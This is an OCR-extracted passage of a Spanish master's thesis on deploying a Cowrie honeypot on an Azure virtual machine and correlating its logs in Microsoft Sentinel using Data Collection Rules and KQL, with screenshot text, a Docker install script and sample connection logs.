Machines Network Groups Workspace (Logs) Las acciones de respuesta pueden ser manuales o
S a2 e o e o G e = === N RS S S S & automatizadas mediante playbooks y servicios de Azure.

Retroalimentacién y mejora continua
——>  Flujo principal de eventos y datos

LEYENDA DE FLUJO
~ — Retroalimentacién / Mejora continua

Nota.: El diagrama presentado fue generado con la asistencia de herramientas de
inteligencia artificial para la estructuracion grafica, basandose en la configuracion

técnica disefiada por el autor.

Microsoft Sentinel actlia como nucleo de andlisis, correlacionando eventos provenientes
de Honeypots con otras fuentes de datos. Esta integracion permite transformar datos aislados
en informacion procesable, facilitando la deteccion de ataques complejos y coordinados. (Behl,
2017)

La eficacia de esta arquitectura radica en la calidad y el contexto de la telemetria

recolectada. En entornos cloud, la integracion profunda de los sensores (honeypots) con la capa
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de ingesta del SIEM es fundamental para habilitar el analisis de comportamiento en tiempo
real. Esta visibilidad permite que los registros de los sefiuelos no operen de forma aislada, sino
que alimenten modelos de deteccidon que permiten identificar patrones de movimiento lateral

antes de que el atacante alcance activos de produccion. (NIST , 2025)

2.2.3 Correlacion de Eventos en Microsoft Sentinel para la Deteccion Proactiva

La correlacion de eventos es un proceso esencial en los sistemas SIEM modernos, que
permite identificar patrones complejos de ataque a partir de multiples eventos aparentemente
aislados. (Behl, 2017). En Microsoft Sentinel, esta correlacion se realiza mediante reglas

analiticas que integran datos provenientes de distintas fuentes, como:

e Honeypots de Cowrie desplegados en Azure. (Eventos de autenticacion y

ejecucion de comandos)

e Threat Intelligence
La inclusion de Honeypots introduce un enfoque proactivo, ya que estos sistemas estan
disefiados para ser atacados y capturar comportamientos maliciosos reales. Al correlacionar
estos eventos con inteligencia de amenazas y marcos como MITRE ATT&CK, es posible
identificar tacticas, técnicas y procedimientos utilizados por los atacantes.

Ejemplos de actividades detectables incluyen:

¢ Intentos de acceso no autorizado a servicios expuestos.

e Escaneo de puertos y reconocimiento.

e Ejecucion de comandos sospechosos en Honeypots.

e Transferencia de archivos maliciosos.
La correlacion contextualizada permite identificar ataques avanzados que generan

multiples eventos distribuidos, mejorando la deteccion de amenazas persistentes y sofisticadas.



Honeypot y correlacion en Azure Sentinel 21

2.2.4 Reglas de Correlacion en Microsoft Sentinel

Las reglas de correlacion en Microsoft Sentinel permiten definir condiciones
especificas bajo las cuales se genera una alerta de seguridad. Estas reglas pueden ser
personalizadas o predefinidas, y se basan en consultas escritas en Kusto Query Language
(KQL). (Microsoft, 2024)

La implementacion de reglas de correlacion efectivas trasciende la simple
configuracion de umbrales; implica la creacion de una légica que traduzca el comportamiento
del atacante en incidentes de alta prioridad. Segun las practicas recomendadas por Microsoft, la
estructuracion de estas reglas mediante KQL permite no solo la deteccion estatica, sino
también el analisis del comportamiento anémalo basandose en la secuencia temporal de los
eventos. Este enfoque es crucial para reducir la fatiga de alertas en los equipos de SOC, al
garantizar que las notificaciones generadas estén alineadas directamente con tacticas
reconocidas por marcos de referencia globales. (Microsoft , 2025)

A diferencia del enfoque basado en SPL de Splunk, KQL esta optimizado para el
analisis de grandes volimenes de datos en entornos Cloud, permitiendo consultas rapidas y
eficientes sobre datos almacenados en Azure. Las reglas de Analitica en Microsoft Sentinel
permiten validar posibles eventos utilizando el lenguaje KQL, dentro de la configuracion de las
reglas de analitica es posible especificar la severidad, la descripcidn, las técnicas y tacticas de
MITRE asociadas, la l6gica KQL, el tiempo de ejecucion y la asociacion con algun Logic App
para poder no solo generar un alertamiento hacia una posible alerta de seguridad sino también
los procesos automatizados SOAR, es posible crear reglas de analitica partiendo de plantillas
generadas y mantenidas por Microsoft o generar reglas de analitica “custom” especificando
cada uno de los parametros antes mencionados. (Microsoft, 2024)

Las reglas de correlacion permiten:

e Detectar patrones de ataque en honeypots.
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e Relacionar eventos de multiples fuentes.
e (Generar alertas automaticas ante comportamientos sospechosos.

e Activar playbooks de respuesta automatizada (SOAR).

La correcta configuracion de estas reglas es clave para minimizar falsos positivos y
maximizar la deteccién de amenazas relevantes. (Oprea, 2018)

2.2.5 Tacticas, técnicas y procedimientos (TTPs)

El analisis de TTPs permite comprender el comportamiento de los atacantes mas alla de
simples indicadores. Este enfoque estd estructurado en marcos como MITRE ATT&CK.
(MITRE, 2024)

Los honeypots son especialmente ttiles para capturar TTPs en tiempo real, ya que

permiten observar:
e M:¢étodos de acceso inicial.
e Técnicas de escalamiento de privilegios.
e Movimientos laterales.

e Técnicas antiforenses. (Strom, 2018)
La correlacion de estos datos en un SIEM facilita la identificacion de ataques

avanzados y persistentes.
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CAPITULO 3
3. Desarrollo

3.1. Desarrollo del trabajo

Para el desarrollo del trabajo se explicara como se cred la cuenta de Azure, creacion de
suscripcion, Log Analytic Workspace (En el que se alojara Microsoft Sentinel), Despliegue de
Microsoft Sentinel, Creacion de Maquina virtual con sistema operativo Linux Ubuntu,
despliegue de Maquina Honeypot, Creacion de Reglas NSG para acceso, Pruebas de acceso,
Activacion de conector para ingestar logs de Fuentes de Inteligencia de Microsoft, Creacion de
la Data Collection Rule (DCR) que nos permitird enviar los logs de la maquina Ubuntu hacia el
SIEM de Sentinel, Construccion de Consultas KQL para correlacion y Resultados obtenidos,
Mientras que al definir la arquitectura a alto nivel se tiene un sistema honeypot de cowrie
levantado en una méaquina de Azure el cual enviard logs simultaneamente con los indicadores

de Microsft Defender Threat Intelligence hacia Microsoft Sentinel:

Figura 5.

Arquitectura de Honeypot en Azure

Ingesta de
Indicadores
de
Compromiso

HONEYPOT: Cowrie

Microsoft Defender Threat Intelligence
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3.1.1 Suscripcion Azure

e Crear cuenta Azure
En esta fase se realizo el registro en el portal de Microsoft Azure, con el objetivo de
contar con una suscripcion activa que permita desplegar y gestionar recursos en la nube para el
laboratorio.
Figura 6.

Portal de Azure

B Microsoft | Azure

Iniciar sesion

Crear soluciones en la nube con
una cuenta de Azure

Empieza a crear, implementar y administrar aplicaciones (en varias nubes,
en el entorno local y en el perimetro) con servicios de Azure escalables y
rentables.

Probar Azure gratis

e Portal de Azure / Inicio de sesion
Se accedi6 al portal oficial de Microsoft Azure https://portal.azure.com, donde se inicid

sesion con una cuenta personal.
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Figura 7.

Inicio de sesion

B® Microsoft

Sign in

to continue to Microsoft Azure

Email, phone, or Skype

No account? Create one!

Can't access your account?

% Sign-in options

) signin with GitHub

e Activacion de suscripcion

Se activo la suscripcion de Azure, optando por el plan de prueba gratuita (Free Trial), el
cual proporciona créditos iniciales para la creacion y prueba de recursos sin costo.

Figura 8.

Activacion de suscripcion

Paso 1de 3

B Microsoft Azure

Creacion de una cuenta de Azure gratuita

Una cuenta gratuita de Azure le proporciona acceso para explorar capacidades
y desarrollar pruebas de concepto. Tu cuenta también incluye:

) USD200 de crédito para usar en los primeros 30 dias

=] iVerificacion terminada!
[E2) Cantidades mensuales gratuitas de més de 20 servicios populares durante 12

meses ATT180dTBI3410C55 5285017601

& Cantidades mensuales gratuitas de més de 65 servicios siempre gratuitos
% Proteccién de gasto: no se realizaré ning(in cargo automéaticamente en su tarjeta
de crédito hasta que cambie a la modalidad de pago por uso
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e Portal inicial de Microsoft Azure
Se evidencia que la suscripcion de Microsoft Azure se encuentra correctamente
habilitada y operativa para su uso. Ademas, se dispone de un crédito inicial de 200 USD
correspondiente al plan de prueba gratuita, el cual permitird desplegar y probar los recursos
necesarios para el desarrollo del laboratorio.
Figura 9.

Dashboard Inicial de Azure

Microsoft Azure £ Buscar recursos, servicios y documentos (G+/) I o copiot G 5 @ & danicapci8@outiook.
DRECTORO PREDETERMINAGO

+ Crear un recurso

A inicio

L panel

Todos los servicios

. Comencemos a crear, Daniela

I Plantillas de aplicacion =
$200 USD en créditos: expira en 30 diss ©
B Todos los recursos
) Grupos de recursos
@ app services (] » 0
Aplicacion de funciones

Empezar con una plantilla Crear un recurso Crear un agente de IA Importar cédigo desde GitHub
@ Azure SQL Database

Despliegue en minutos utilizando plantillas Elija un servicio para crear un recurso en su Cree y administre aplicaciones y agentes Conecte su cuenta de GitHub e
% Azure Cosmos DB predefinidas suscripcion. de 1A utilizando los modelos més recientes. implemente repositorios existentes.
B3 Msquinas virtuales
< equilibradores de carga

= Cuentas de
almacenamiento

> Redes virtuales >
@ Microsoft Entra ID

) Supervisar

® Asesor

© Microsoft Defender for
Cloud

Una vez que contamos con la suscripcion activa es posible validar en el Resource

Manager el id de la suscripcion:
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Figura 10.

Suscripcion activa en Resource Manager

Inicio * Resource Manager

Resource Manager | Suscripciones 2 - @  Compararios distintos tpos de suscripcén Azure | Prevision de mi costo paa l préximo periodo de factuacion

Directorio predeterminado

&b Resource Manager Los administradores globales pueden administrar todas las suscripciones de esta lista actualizando su configuracion de directiva aqul.
B2 Todos los recursos Se muestran las suscripciones en el directorio Directorio predeterminado. ;No ve ninguna suscripcion? Cambiar directorios

s R —
¥ Recursos favoritos | 2 Buscar cualquier Suscripciones : Filtrado (0 de 0) Mirol == todo Estado == todo *3 agregar filtro

) Recursos recientes b3

Nombre de la suscripcion Ty Id. de la suscripcion Ty Mirol Ty Costo actual

@ Papelera de reciclaje

I m{u_gwy_on_‘ 18818871-3¢26-4772-96c9-ca0foc75f553 I
Grupos de recursos

¢ Etiquetas

()

v Organizacién
&) Grupos de servicios

&) Grupos de administracién

Suscripciones

Herramientas

v

Implementaciones

> Help

Luego de tener la suscripcion es posible crear un area de trabajo que alojara Microsoft

Sentinel:
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Figura 11.

Microsoft Sentinel - Area de trabajo

Adicion de Microsoft Sentinel a un area de trabajo

= Crear un drea de trabajo () Actualizar

€ Microsoft Sentinel ofrece una prueba gratuita de 31 dias. Consulte los precios de Microsoft Sentinel para obtener mas informacién

o Microsoft Sentinel areas de trabajo nuevas creadas por usuarios autonzados se incorporan automaticamente y se redirigen al portal de Defender, Mas informacion

No se han encontrado areas de trabajo.

crea*n drea de trabajo

e Creacion de Area de Trabajo
Es necesario definir una region, en este caso utilizaremos East US 2 (142,85$ mensual)
dado que tiene menor latencia y costos reducidos dado que el laboratorio se realizo en
Latinoamérica, las otras opciones comparadas fueron Brazil (227$ mensual), Chile (200,148
mensual) y Mexico (156,98% mensual), de donde East US 2 tuvo un menor costo y menor

latencia que las demas opciones.
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Figura 12.

Tabla de Latencia Microsoft

Morteamérica / Sudamérica Europa Asia-Pacifico (APAC) Oriente Medio / Africa

Tablas de latencia para regiocnes de América, indluyendo EE. UU., Canada y Brasil.

Lhiliza las siguientes pestafas para ver las estadisticas de latencia de cada region.

Oeste de EE. UL Centro de EE. UL Este de EE. UL Canada Sudameérica

Fuente

Australia Central
Australia Central 2
Australia Este
Australia Sureste
Brasil Sur
Canada Central
Canada Este
Central India
Centro de EE LWL
Asia Oniental

Este de EE. UL

East US 2

Indica que se coloco un valor referencial de la calculadora de Azure simulando los
costos de la maquina virtual, ademas se cred un grupo de recursos llamado “GR-TESIS-

MAESTRIA”, finalmente una instancia con nombre “WS-TESIS-MAESTRIA”:
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Figura 13.

Creacion del darea de trabajo

Crear un area de trabajo de Log Analytics

Basico  Etiquetas  Rewvisary crear

o Un area de trabajo de Log Analytics es la unidad de administracion basica de los registros de Azure Monitor. Hay
algunas consideraciones especificas que se deben tener en cuenta al crear una nueva area de trabajo de Log

Analytics. Mis informacion

Con los registros de Azure Monitor, puede almacenar, conservar y consultar facilmente los datos recopilados de los
recursos supervisados en Azure y en otros entornos a fin de obtener informacién valiosa. Un area de trabajo de Log
Analytics es la unidad de almacenamiento l6gica en la que se recopilan y aimacenan los datos de registro.

Detalles del proyecto

Seleccione la suscripcion para administrar recursos implementados y los costes. Use los grupos de recursos como
carpetas para organizar y administrar todos los recursos.

Suscripcion * (O | Azure subscription 1 v |
Grupo de recursos * () | (Nuevo) GR-TESIS-MAESTRIA v
Crear nuevo

Detalles de la instancia

Nombre * () | ws-TEsiS-MAESTRIA |

Regién * © | Eastus2 |

|  «Anterior Siguiente: Etiquetas >

Una vez creada el area de trabajo se procedera a levantar el SIEM de Microsoft

Sentinel:
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Figura 14.

Levantamiento del SIEM

Inicio

Microsoft Sentinel M) ;Afecta cualquier recurso a las interrupciones? | Filtrar recursos por region | | Examinar todos los recursos de esta suscripcion

Directorio predeterminado (danielapc18outiook.on

% Administrarvista v () Actualizar & ExportaraCSv  §® Abrir consulta

+ crear &

Filtrar por cualquier ca

| Suscripcidn es igual que todo Grupo de recursos es igual que todo Ubicacion es igual que todo  * -+ Agregar filtro

No hay Microsoft Sentinel para mostrar

Identifique y detenga las amenazas antes de nologias SIEM reinventadas para un mundo
modemo. Microsoft Sentinel | Crear Microsoft Sentinel , ponara ge toda la empresa

=S

Ms informacién

e Creacion de Maquina Virtual
La maquina se asigno al grupo de recursos creado anteriormente, se definié el nombre

de la maquina virtual, la imagen asociada, para este caso una imagen de Ubuntu Pro 24.04

LTS.
Figura 15.

Creacion de maquina virtual

e e =

Inicio > Infraestructura de proceso | Maquinas virtuales

1+ Crear un recurso

A inicio

41 panel

Crear una ma’quina virtual M) Ayudame 3 elegir el tamaio de VM adecuado para mi carga de trabsjo | | Ayuda para crear una méquina virtual de bajo coste | +1

= Detalles del proyecto
= Todos los servicios
Seleccione la suscripcion para administrar recursos implementados y los costes. Use los grupos de recursos como carpetas para

* FAVORITOS organizar y administrar todos los recursos.
-
B Plantilas de apiicacién Suscripcion * © Azure subscription 1 v
8 Todos los recursos .
Grupo de recursos * \ GR-TESIS-MAESTRIA v

(%) Grupos de recursos Crear nuevo
@ App services

Detalles de instancia
> Aplicacién de funciones

Nombre de maquina virtual * © [vmroneveoTMaESTRIA ]
@ Azure SQL Database
B i Regién * [(ws eastus2 5 V]

mplementacion en una 2 extendida de Azure

B8 msquinas virtuales

Opciones de disponibilidad No se requiere redundancia de la infraestructura v
€ equilibradores de carga
.= Tipo de seguridad C Maquinas virtuales de inicio seguro v
= Cuentas de

Aater st Configurar caracteristicas de seguridad
&> Redes virtuales Imagen * [ /8 ubuntu Pro 24.04 LT - x64 gen. 2 (servicos gratuitos elegibles) v
Ver todas las imagenes | Configurar la generacion de maguinas virtuales

© Microsoft Entra ID 4 =
% supervisar Arquitectura de VM QO amea
Y ® x64
B Asesor

LT N S G U B |

Q Microsoft Defender for

Cloud = Sigulente: Discos > A2 enviar con]

(' Administracién de costos
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Luego, se cred un usuario y contrasefia para el acceso mediante SSH:

Figura 16.

Avance de creacion de maquina virtual

2 B e O (IR G l ool beccroms o
ECTORIO PREDETERMINADO

Inicio * Infraestructura de proceso | Maquinas virtuales

1~ Crear un recurso Crear una ma’qu ina virtual M) Ayudarme  elegir el tamafo de VM adecuado para mi carga de trabsjo | | Ayuda para crear una maquina virtual de bajo coste | +1
A& inicio

42 panel ~ =
confidenciales para imagenes de Linux. Mis informacién
= Todos los servicios

*  FAVORITOS Cuenta de administrador
a  Tipo deautenticacién @ QO clave publica ssH

B Plantillas de aplicacion =
(®) Contrasefia

Todos los recursos
() Grupos de recursos

@ App services

P> Aplicadion de funciones Nombre de usuario * © [(sRupo2MAESTRIA | &

B Azure SQU Database

Contrasefia *

T Azure Cosmos DB

Confirmar contrasefia *

B8 Misquinas virtuales

€ equibradores de carga Reglas de puerto de entrada
= Cuentas de_ Seleccione los puertos de red de mquina virtual que son accesibles desde la red Intemet piblica. Puede especificar acceso de
almacenamiento red més limitado o granular en 1a pestaiia Red.
"> Redes virtuales Puertos de entrada pablicos * O ninguno
@ Microsoft Entra ID (®) Permitir los puertos seleccionados

Stpacdsar Seleccionar puertos de entrada * SSH (22) v

® asesor

A\ Esto permitird aue todas las direcciones IP accedan a la maquina virtual,
Q) Microsoft Defender for

Cloud A Siguiente: Discos >

Luego de la configuracion de la maquina se procedio al despliegue de los siguientes

recurso

Figura 17.

Listado de recursos en creacion de VM

[ T = cere

Inicio
SRR o » CreateVm-canonical.ubuntu-24_04-Its-ubuntu-pro-20260507223932 | Informacion general
A inicio @ implementacién

E) panel O Buscar [@ eliminar © Cancelar 7" Volveraimplementar L Descargar () Actualizar

= Todos los servicios s e ) | N ;

* ravonros 6 i La implementacion esté en curso

a Nombre de implementacion : Createvm-canonical.ubuntu-2... Hora deinicio  : 7/5/2026, 22:45:47

Plantill I
IR Plantillas de aplicacion Id. de correlacion : e6fdfcbc-c898-42¢1-84a9-121ed981

salidas Suseripcion

£ Todos los recursos > Plantilia Grupo de recursos

(%) Grupos de recursos
+/ Detalles de implementacion

@ App services
> Aplicacion de funciones
Recurso Tipo Estado Detalles de la operacion
@ Azure QL Database
0 i szt (=] VMHONEYPOT. ¥ Microsoft Compute/virtualMach  Created Detalles de la operacion
B Msquinas virtuales o vmhoneypotmaest g Microsoft.Network/networkinter OK Detalles de la operacion
€ equilibradores de carga o VMHONEYPOTMAI [ Direccion IP publica oK Detalles de la operacion
&= Cuentas de ©  VMHONEYPOTMAI ¢-> Red virtual oK Detalles de la operacién
almacenamiento

] VMHONEYPOTMAI @) Grupo de seguridad de red oK Detalles de la operacion

> Redes virtuales % . [

© Microsoft Entra ID
> Pasos siguientes

Supervisar

® Asesor

©Q Microsoft Defender for
Cloud
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La maquina utilizara una plantilla D4s v3 con 4 vcpus, 16 Gb de Memoria y un disco
SSD de 30 Gb, inicialmente se utilizo la plantilla D2s v3 con 2 vcpus y 8gb de RAM pero la
maquina se inhibia constantemente, tal como se indica en la Ilustracion 16. revisando las
métricas de recursos se notd que era necesaria una plantilla con mayores prestaciones.

Figura 18.

Consumo de CPU
Scope Metric Namespace Metric Aggregation °
Pv!ﬁo-C‘{EVDCIT?\’A€STR‘:A | | Virtual Machine Host v || Percentage CPU v || Max ™,

150% D2s v3

May 31 07 UTC05:00

B Percentage CPU (Max), VMHONEYPOTMAESTRIA  99.3400%
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Figura 19.

Validacion VM Honeypot Maestria

Properties  Monstoring Capabilities (7) Recommendations (3 Tuterials

I virtual machine & Networking

3.2. Despliegue de Honeypot en Maquina Virtual
Una vez desplegada la Maquina se procedera a instalar el Honeypot de Cowrie, para
esto se replicara de un repositorio de Github, para esto utilizamos el repositorio de T-POT, en
primer lugar, se instalara el contenedor de Docker:
Figura 20.

Instalacion de Docker
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Figura 21.

Codigo GitHub de instalacion de Dockers

#!/bin/bash
# Quick Install Script for Docker and Docker Compose on Ubuntu Server 24.84 LTS
# Update the package index and install prerequisites
echo "Updating package index and installing prerequisites...”
sudo apt update
sudo apt install -y ca-certificates curl gnupg lsb-release
# Add Docker's official GPG key and set up the stable repository
echo "Adding Docker's official GPG key and setting up repository..."
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
$(1sb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
# Update the package index again and install Docker Engine
echo "Installing Docker Engine..."
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
# Add the current user to the Docker group [(handles sudo/root correctly))
echo "Adding current user to the Docker group..."
TARGET_USER="${SUDO_USER: -$(logname 2>/dev/null || true)}"
if [[ -z "$TARGET_USER" || "$TARGET_USER" == "root" ]]; then
TARGET_USER="$(id -un)"
fi
sudo usermod -aG docker “$TARGET USER™
echo "Added $TARGET_USER to the docker group."
# Verify Docker and Docker Compose Installation
echo "Verifying Docker installation..."
docker --version
echo "Verifying Docker Compose installation..."
docker compose version

echo "Testing Docker access (may require re-login)..."
if docker ps >/dev/null 2>&1; then
echo "Docker works wi ut sudo.™
else
echo "Docker requires a new login for group changes to apply."

echo "Run: newgrp docke
echo "Or: log out and back in."
fi
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Figura 22.

Verificacion de Docker Compose

_'5’ GRUPOZMAESTRIA@VMHONEYPOTMAESTRIA: ~ = 0 X

GNU nano 7.2 install-docker.sh *

"y

Luego se otorg6 los permisos al instalador de Dockers con el comando chmod.

Figura 23.

Otorgacion de permisos a Dockers

En la consola se visualiza el listado de contenedores activos dentro del entorno
desplegado. Se observa que todos los contenedores se encuentran en estado operativo (“Up”),
lo que indica que los servicios estan funcionando correctamente. El contenedor Cowrie
presenta un estado “healthy”, lo cual confirma su correcto funcionamiento y su disponibilidad

para la captura de eventos asociados a posibles actividades maliciosas.
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Posteriormente, se procedi6 a desactivar los demds contenedores, manteniendo
unicamente el servicio de Cowrie activo. Esta accidon tuvo como objetivo aislar el honeypot
principal dentro del entorno, optimizando el consumo de recursos y permitiendo enfocar el
analisis exclusivamente en los eventos generados por este sensor especifico.

Figura 24.

Estado de contenedores del honeypot en Docker con Cowrie activo y operativo.

&® GRUPO2MAESTRIA@VMHONEYPOTMAESTRIA: ~ = o X

owrie:24.04.1

Se logra acceder al contenedor correspondiente a Cowrie y navegar dentro de su
estructura de archivos, donde se identifican directorios y archivos relevantes como log,
cowrie.cfg, requirements.txt y twistd.log. Esta interaccion permite validar el correcto
despliegue del honeypot y la disponibilidad de los logs generados, los cuales son
fundamentales para su posterior ingesta y analisis en Microsoft Sentinel. En conjunto, la
captura evidencia el proceso de verificacion y acceso al entorno operativo del honeypot,

elemento clave dentro de la arquitectura de monitoreo implementada.
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Figura 25.
Interaccion con el contenedor Cowrie a través de Docker para la verificacion de

directorios, configuracion y logs del honeypot.

5‘ GRUPO2MAESTRIA@VMHONEYPOTMAESTRIA: ~ - o

En la consola se evidencia que el servicio SSH se encuentra escuchando en el puerto
64295, en lugar del puerto estandar 22. Esta modificacion corresponde a la configuracion
aplicada por el entorno. con el objetivo de evitar conflictos entre servicios y permitir la correcta
operacion de los honeypots desplegados.

Asimismo, se observa el mensaje generado por el sistema indicando la necesidad de
reiniciar la conexion mediante SSH utilizando el nuevo puerto configurado (“Please reboot and
re-connect via SSH on tcp/64295”). Esto confirma que el acceso administrativo a la maquina
virtual debera realizarse a través de este puerto no estdndar, garantizando la continuidad de la

gestion del entorno.
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Figura 26.

Configuracion del puerto SSH en 64295 y ajuste de reglas NSG para permitir la

conectividad.

5" GRUPO2MAESTRIA@VMHONEYPOTMAESTRIA: ~/tpotce = O X

La imagen evidencia que el servicio SSH fue configurado en el puerto 64295, en lugar
del puerto estandar 22. Debido a este cambio, se realizo la modificacion de las reglas del
Network Security Group (NSG) para permitir el acceso remoto mediante dicho puerto y

garantizar la conectividad con la maquina virtual.
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Figura 27.

Habilitacion del SSH en regla NSG

& SSH X

VMHONEYPOTMAESTRIA-nsg

Ongen &
I My IP address W l

Intervalos de direcciones IP de origen y CIDR (O

10 178 170 G3
| ol I Fa. 1 MY

Intervalos de puertos de origen * @

Destino @
| Any Y |
Servicio ()
I Custom vJ

Intervalos de puertos de destino * (O

Nuzgsl ]|
o

Protocolo

O Any

(@) Tcp

Luego, se probo la conexion mediante Putty en el puerto 64295 con la ip publica de la

maquina virtual, tal como se configur6 en la siguiente ilustracion:
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Figura 28.

Pruebas de acceso SSH

41

PuTTY Configuration

Category:

o

= S_ession

= Terminal

= Window

=} Connection

--Keyboard
- Bell
- Features

- Appearance
- Behaviour

- Translation
H- Selection

- Colours

Data
Pr[}xy

H SSH

- Serial

- Telnet

- Rlogin

- SUPDUP

About Help

Basic options for your PuTTY session

Specify the destination you want to connect to

Port
64205

Host Name (or IP address)
45.753.172

Connection type:
©-ssH  ()serial () Other: Telnet

Load, save or delete a stored session

Saved Sessions

Default Settings Load

Save

Delete

Close window on exit:
()Aways () Never

© Only on clean exit

Cancel

De la misma forma al ser un Honeypot que capta intentos de conexién SSH y Telnet es
necesario abrir los puertos 22 y 23 a cualquier Ip y restringir inicamente el puerto nuevo
(64295) para conexion SSH, esto lo podemos lograr con dos reglas NSG ejecutadas por
prioridad, la primera regla permitira tinicamente el acceso por el puerto 64295 a la ip desde
donde queremos conectarnos durante ese momento, es decir simulamos un acceso Just In Time,
por otro lado la segunda regla permite acceso al puerto 22 simulando una maquina vulnerable a

cualquier ip (Any) , finalmente en el puerto 64295 podemos validar que se encuentra corriendo

el contenedor para el Honeypot de Cowrie:
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Figura 29.

Validacion de Contenedor de Cowrie

A manera de resumen y para evitar confusiones, tenemos la siguiente tabla con los
puertos utilizados y su funcion.

Tabla 1.

Uso de puertos en sistema cowrie

Puerto Propdsito Origen permitido  Destino Riesgo controlado

22 Servicio SSH Any (Internet) Honeypot  El acceso se limita al
emulado por Cowrie servicio emulado; no existe
Cowrie acceso al sistema operativo

anfitrion.

23 Servicio Telnet Any (Internet) Honeypot  Permite capturar actividad
emulado por Cowrie maliciosa sin comprometer
Cowrie el servidor real.

64295  Acceso Unicamente la I[P Maquina  Evita que el acceso
administrativo autorizada del virtual administrativo quede
SSH al servidor de  administrador expuesto a Internet y
Azure reduce el riesgo de accesos

no autorizados.

e Envio de Logs desde Maquina Honeypot a Sentinel

Para realizar el envio de logs desde la maquina virtual, es necesario la creacion de una
tabla Custom, un Data Collection Rule y una muestra JSON de los logs del Honeypot que se
puede extraer ingresando a la maquina virtual a través del puerto 64295.

En base a los logs de muestra extraidos se crea la tabla con las columnas obtenidas en el
archivo de muestra, de donde se tiene el eventid asociado para indicar el tipo de actividad
registrada, la ip origen, el puerto origen, el ip y el puerto destino, una id de la sesion, el
protocolo, un mensaje, el sensor y la fecha del evento, Para los logs de Muestra se utilizaron

los siguientes:
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Figura 30.

Logs desde Maquina Honeypot a Sentinel

[

{"eventid":"cowrie.session.connect","src_ip":"125.120.11.57","src_port":35957,"dst_ip":"192.1
68.112.2","dst_port":23,"session":"6b791adf6a49","protocol":"telnet","message":"New
connection: 125.120.11.57:35957 (192.168.112.2:23) [session:
6b791adf6a49]","sensor":"9¢35914842bf","timestamp":"2026-05-13T14:47:35.2609047"},

{"eventid":"cowrie.session.closed","duration":13.35191535949707,"message":"Connection lost
after 13 seconds","sensor":"9¢35914842bf","timestamp":"2026-05-
13T14:47:48.612719Z","src_ip":"125.120.11.57","session":"6b791adf6a49"},

{"eventid":"cowrie.session.connect","src_ip":"174.95.208.251","src_port":42498,"dst_ip":"192.
168.112.2","dst_port":23,"session":"851493ab3e47","protocol":"telnet","message":"New
connection: 174.95.208.251:42498 (192.168.112.2:23) [session:
851493ab3e47]","sensor":"9¢c35914842bf","timestamp":"2026-05-13T14:54:16.583869Z"},

{"eventid":"cowrie.session.closed","duration":13.374595642089844,"message":"Connection
lost after 13 seconds","sensor":"9¢35914842bf","timestamp":"2026-05-
13T14:54:29.9583827","src_ip":"174.95.208.251","session":"851493ab3e47"}

|

Para obtener la ruta, se naveg6 dentro de la maquina hasta encontrar la ruta donde se

almacenan los logs del cowrie para nuestro caso /tpot/data/cowrie/log.
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Figura 31.

Logs de Cowrie en Maquina Virtual

5‘ GRUPOZMAESTRIA@VMHONEYPOTMAESTRIA: ~/tpotce/data/cowrie/log — =]

Mientras que para la creacion de la tabla se configuro el nombre de la tabla Custom
(CowrieLogs CL), la muestra de logs (cowrie2.json) y la transformacion para generar una

columna “TimeGenerated” necesaria para crear la tabla.
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Figura 32.

Creacion de Tabla Custom

45

Home * Log Analytics workspaces > WS-TESIS-MAESTRIA | Tables

Create a custom log

@ Basis @ Schema and transformation © Review

Basics

Data collection rule DCR-Cowrie

Data collection endpoint dce-cowrie

Table name CowrieLogs_CL
Description Logs from Cowrie
Table plan Analytics

Schema and transformation

File cowrie2.json

Transformation source | extend TimeGenerated=todatetime(timestamp)

Mientras que para la configuracion del Data Collection Rule se utiliz6 la siguiente

configuracion:
Figura 33.

Configuracion de Data Collection Rule

e

Home

~+ €reate a resource

A& Home

[l Dashboard

Edit data source

Data source Destination Transform (optional)

= All senvices
Data source type * Custom Text Logs
* FAVORITES
e pattern = 0 [ rome/GRUBG2MAES TRIA/tpotcs/data/cowrie/log/cawrisjsan
I Application Templatss
B AN resources Table name * O [ cowrieLogs.ct
(4] Resource groups
& app Services Record delimiter () [[end ot ine

45> Function App
B Azure SQL Database

% Azure Cosmos DB




Honeypot y correlacion en Azure Sentinel 46

Con esta configuracion se indico que los logs se encuentran en la ruta que se encontro
previamente, en que tabla se enviaran y cual sera el delimitador de cada log, para nuestro caso
el fin de una linea. El resumen de envi6 de logs desde la maquina a Sentinel se puede resumir
en el siguiente diagrama:

Figura 34.

Diagrama de conexion

')

dce-cowrie

ol

VMHONEYPOTMAESTRIA

!? tesis-maestria
g Analyt kspace

Custom Logs
P15

Microsoft-Sentinel-eaeea...

En esta arquitectura se indica que los logs que llegan de la maquina virtual pasan por el
Data Collection Endpoint hacia la tabla Custom que se ingestara en el Sentinel del Log

Analytics Workspace (ws-tesis-maestria).

e Verificacion de Recepcion de Logs de Honeypot
Una vez configurado el Data Collection Rule e ingestando los logs del Honeypot de
Cowrie, se pueden visualizar en la seccion de “Logs” de Microsoft Sentinel con la ejecucion de

una query KQL.
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Figura 35.

Validacion de Logs de Cowrie

47

S e 1 Seanch resures,seices,md 0cs 641
Home + Microsoft Sentinel
L Microsoft Sentinel | Logs

= £ New Query 1+ @ Obsenvabiity agert | ew S fh Shae -

, = Time range: Last 30 minutes  Show - 1000 results oL m

= < Cowtetogs ctL

4 sumnarize max(TimeGenerated)

e

]

3 Results  Chart

=] () TimeGenersted [Local Time] "4 Type Resourceld

PS [a] [— ncrgmns/ 188880 3 ey e massra/ v

= 0 [R—y nrpoony a8me eyoneg-tess-mastrasprovsen)
a] [—— ncrptonu 1ABBEN. 326 4772965 ca0RTSISS rescnsceyong/y s masstra/proveders
d Cownelogs CL 3c26-4772-96c9-calM TS5,

o ] Cowrieloge

Dado que los logs llegan en formato Syslog en una unica columna (RawData), se cre6

una funcién para poder pasar los datos en columnas separadas para poder visualizar la

informacion de mejor manera y posteriormente crear consultas KQL que puedan realizar

distintas correlaciones:
Figura 36.

Parseo de Logs de Honeypot Cowrie

4 Microsoft Sentinel | Logs

I . N

o £ Comedurser & New Query 1+ # tew Query 2 £ cowrietum® £ New Query 3
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©
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123015088
asecosTresser
112223 s 5307 Vetl

